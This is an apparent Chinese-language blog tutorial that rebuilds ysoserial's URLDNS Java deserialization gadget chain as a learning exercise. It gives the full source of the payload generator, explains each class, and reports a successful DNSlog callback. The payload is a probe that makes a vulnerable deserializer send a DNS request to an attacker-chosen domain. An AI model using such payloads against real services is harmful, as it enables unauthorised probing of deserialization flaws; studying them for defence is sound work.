再探URLDNS链(手搓exp)
夜深了,想着还需要沉淀自己的基础能力,于是乎没有继续往CC链里爬,通过研究了一下ysoserial
里的URLDNS链,决定自己尝试写一个类似却有些不同的exp,使自己的基础更加牢固一些,故有了今天这篇文章。
ysoserial里的URLDNS链我就不再多说,有兴趣的话自己可以去看下面这篇文章的分析
https://www.cnblogs.com/Gcker/p/17805397.html
主要讲一下我自己构建EXP的思路
首先我是分3个类和一个实现接口来写的,我们首先来看一下执行类
这里我们先看一下PayloadRunner
类,这个类的主要功能是能够运行实现了ObjectPayload
这个接口所有的类。
import com.ObjectPayload;
public class PayloadRunner {
public static void run(Class<? extends ObjectPayload<?>> clazz, String[] args) throws Exception{
ObjectPayload<?> payloadInstance = clazz.getDeclaredConstructor().newInstance();
Object result = payloadInstance.getObject(args.length > 0 ? args[0] : "默认参数");
System.out.println("执行和返回有效载荷:" + result);
}
public static void main(String[] args){
try {
run(URLDNS.class,args);
}catch (Exception e){
e.printStackTrace();
}
}
}
首先我先定义了一个run
方法,这里接受一个Class
对象作为参数,这个Class
对象代表了一个实现了ObjectPayload
接口的类。这里使用了泛型通配符<?>
,表示
可以接受任何ObjectPayload
的实现,通过clazz.getDeclaredConstructor().newInstance()
创建了接口实现的一个新实例。这行代码使用了反射来寻找无参构造
器并创建对象,当getObject
方法被调用时,传入的参数由args
数组决定。如果args
数组非空,传入第一个元素;如果为空,传入“默认参数”。
public static void run(Class<? extends ObjectPayload<?>> clazz, String[] args) throws Exception{
ObjectPayload<?> payloadInstance = clazz.getDeclaredConstructor().newInstance();
Object result = payloadInstance.getObject(args.length > 0 ? args[0] : "默认参数");
System.out.println("执行和返回有效载荷:" + result);
}
下面main
方法这里,调用URLDNS
这个类,也就是URL.class
这里,这是ObjectPayload
接口的一个具体实现。然后通过一个try-catch块,捕获异常。
public static void main(String[] args){
try {
run(URLDNS.class, args);
} catch (Exception e) {
e.printStackTrace();
}
}
解析来是URLDNS
类,这里其实和ysoserial
里面定义的差不多,只做了稍微修改,整体代码如下:
import java.net.URL;
import java.net.URLStreamHandler;
import java.net.URLConnection;
import java.util.HashMap;
import com.ObjectPayload;
public class URLDNS implements ObjectPayload<HashMap<URL,String>>{
@Override
public HashMap<URL,String> getObject(String url) throws Exception{
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap<URL, String > ht = new HashMap<URL, String>();
URL u = new URL(null,url,handler);
ht.put(u,url);
Reflections.setFieldValue(u,"hashCode",-1);
return ht;
}
private static class SilentURLStreamHandler extends URLStreamHandler{
@Override
protected URLConnection openConnection(URL u){
return null;
}
}
}
首先定义了接口实现,这里的包主要是进行网络和集合的类,声明了ObjectPayload<HashMap<URL, String>>
接口,指示这个类将返回一个HashMap
,其中包含
URL
和字符串的映射
import java.net.URL;
import java.net.URLStreamHandler;
import java.net.URLConnection;
import java.util.HashMap;
import com.ObjectPayload;
public class URLDNS implements ObjectPayload<HashMap<URL,String>>{
这段代码URLStreamHandler handler = new SilentURLStreamHandler();
创建了SilentURLStreamHandler
的实例, SilentURLStreamHandler
是一
个内部类,用于在创建URL,对象时提供自定义的URLStreamHandler
。这个处理器的实现通常会避免进行实际的网络连接,了解过URLDNS链的师傅们都理解为什么这里
要避免实际网络连接,这里就不,再说明了,可以看我之前的URLDNS链分析。通过将新创建的URL
对象和原始的字符串url
映射存储在HashMap
中,可以在需要时检索和使
用这些数据。使用Reflections
类修改URL
对象的hashCode
字段为-1,是为了能在URL.hashCode
这里,实现DNS请求。
@Override
public HashMap<URL,String> getObject(String url) throws Exception{
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap<URL, String> ht = new HashMap<>();
URL u = new URL(null, url, handler); // 创建一个URL对象,使用自定义的StreamHandler
ht.put(u, url); // 将URL和传入的字符串url存储到HashMap中
Reflections.setFieldValue(u, "hashCode", -1); // 修改URL对象的hashCode字段
return ht; // 返回包含URL对象和字符串映射的HashMap
}
我在这里定义了一个私有的SilentURLStreamHandler
类,并重写了openConnection
方法,通过上面实例化重写的SilentURLStreamHandler
类,确保不进行任何实
际的网络连接。
private static class SilentURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) {
return null; // 防止打开实际的网络连接
}
}
下面我们再来说第三个类
import java.lang.reflect.Field;
public class Reflections {
public static void setAccessible(Field field){
field.setAccessible(true);//将字段声明为true,使其可以通过反射访问
}
public static Field getField(Class<?> clazz, String fileName) throws NoSuchFieldException{
Field field = clazz.getDeclaredField(fileName); //获取任意类的声明字段
setAccessible(field); //调用setAccessible方法设置字段会被访问
return field; //返回field对象
}
public static void setFieldValue(Object obj, String fileName, Object value) throws Exception{
Field field = getField(obj.getClass(), fileName);
field.set(obj, value); //修改对象的值
}
}
这里setAccessible(true)
是允许在进行反射代码查询和修改的时候,通过这种方式保证在正常情况可以访问私有或受保护字段。
public static void setAccessible(Field field){
field.setAccessible(true); // 将字段的访问权限设置为可访问,无论其可见性如何
}
getField
方法,该方法通过类对象和字段名获取相应的Field
对象。如果字段是私有的,这个方法会自动调用setAccessible
来修改字段的访问权限,确保后续操作可
以无阻碍地进行。
public static Field getField(Class<?> clazz, String fieldName) throws NoSuchFieldException{
Field field = clazz.getDeclaredField(fieldName); // 获取类中声明的指定名称的字段
setAccessible(field); // 确保该字段是可访问的
return field; // 返回这个字段对象
}
setFieldValue
方法结合了上述方法的功能,允许调用者为任何对象的任何字段设置新值,即使是私有或受保护的字段。
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = getField(obj.getClass(), fieldName); // 使用getField方法获取字段
field.set(obj, value); // 设置对象的字段值
}
最后是接口定义
import org.reflections.Reflections;
import java.lang.reflect.Modifier;
import java.util.Set;
import java.util.stream.Collectors;
public interface ObjectPayload<T> {
T getObject(String command) throws Exception;
class Utils {
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
return reflections.getSubTypesOf(ObjectPayload.class)
.stream()
.filter(pc -> !(pc.isInterface() || Modifier.isAbstract(pc.getModifiers())))
.collect(Collectors.toSet());
}
}
}
这里使用泛型T
使得接口可以灵活地适用于多种数据类型。实现这个接口的类将指定返回数据的具体类型,如HashMap<URL, String>
。
public interface ObjectPayload<T> {
T getObject(String command) throws Exception;
}
这里使用Reflections
库搜索当前ObjectPayload
接口所在的包,找出所有实现了这个接口的类,使用Java Stream API过滤出那些既不是接口也不是抽象类的实现。这确
保了找到的类都是可以实例化的,最终将满足条件的类收集到一个Set
集合中返回。Set
集合可以在应用程序中用于动态创建对象和调用方法。
class Utils {
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
return reflections.getSubTypesOf(ObjectPayload.class)
.stream()
.filter(pc -> !(pc.isInterface() || Modifier.isAbstract(pc.getModifiers())))
.collect(Collectors.toSet());
}
}
总结
这四段代码整体实现了一个简单的URLDNS攻击链,通过利用Java的动态加载和反射机制来执行特定的ObjectPayload
实现。主要流程包括:
1.通过ObjectPayload
接口和Utils
类定义和动态发现可用的payloads。
2.使用PayloadRunner
类来加载和执行具体的ObjectPayload
实现。
3.URLDNS
类实现了ObjectPayload
接口,通过创建特殊的URL
对象来触发DNS查询。
4.通过Reflections
类进行必要的反射操作,如修改对象属性等。
1. URLDNS 类和ObjectPayload 接口
1.使用自定义的URLStreamHandler
(SilentURLStreamHandler
)创建了一个URL
对象。这个处理器被设计为不进行任何网络连接,但是这里要注意,创建URL
对象时,如果URL的协议部分(如http)被解析,它可能会导致DNS解析,所以要设计返回为null
2.创建的URL
对象和原始URL字符串被存入一个HashMap
并返回。
3.利用Reflections
类修改了URL
对象的hashCode
字段。
2. PayloadRunner 类
1.PayloadRunner
类负责实际加载并执行URLDNS
类(或任何其他ObjectPayload
实现)。使用Java反射来创建URLDNS
类的实例并调用其getObject
方法:
2.传入命令行参数作为URL,如果没有提供参数,则使用默认参数。
3.执行getObject
方法后,结果(HashMap
包含URL和字符串)被打印出来。
3. Utils 类和动态发现
Utils
类内部的getPayloadClasses
方法使用Reflections库来动态发现所有实现了ObjectPayload
接口的类。这使得PayloadRunner
可以不依赖于硬编码的类名,增加了系统的灵活性和扩展性。在实际应用中,可以根据配置或其他条件在运行时选择不同的payload类来执行。
4. 完整的调用流程
当PayloadRunner
的main
方法被执行时,它会加载URLDNS
类,传入可能来自命令行的参数,并执行getObject
方法。这个方法触发了可能的DNS查询,然后返回包含URL和字符串的HashMap
。
实验
我们在配置里,配置DNSlog地址
可以看到成功请求到了,今天就到这里了,如果有写的不对的地方,欢迎各位师傅指正,睡觉~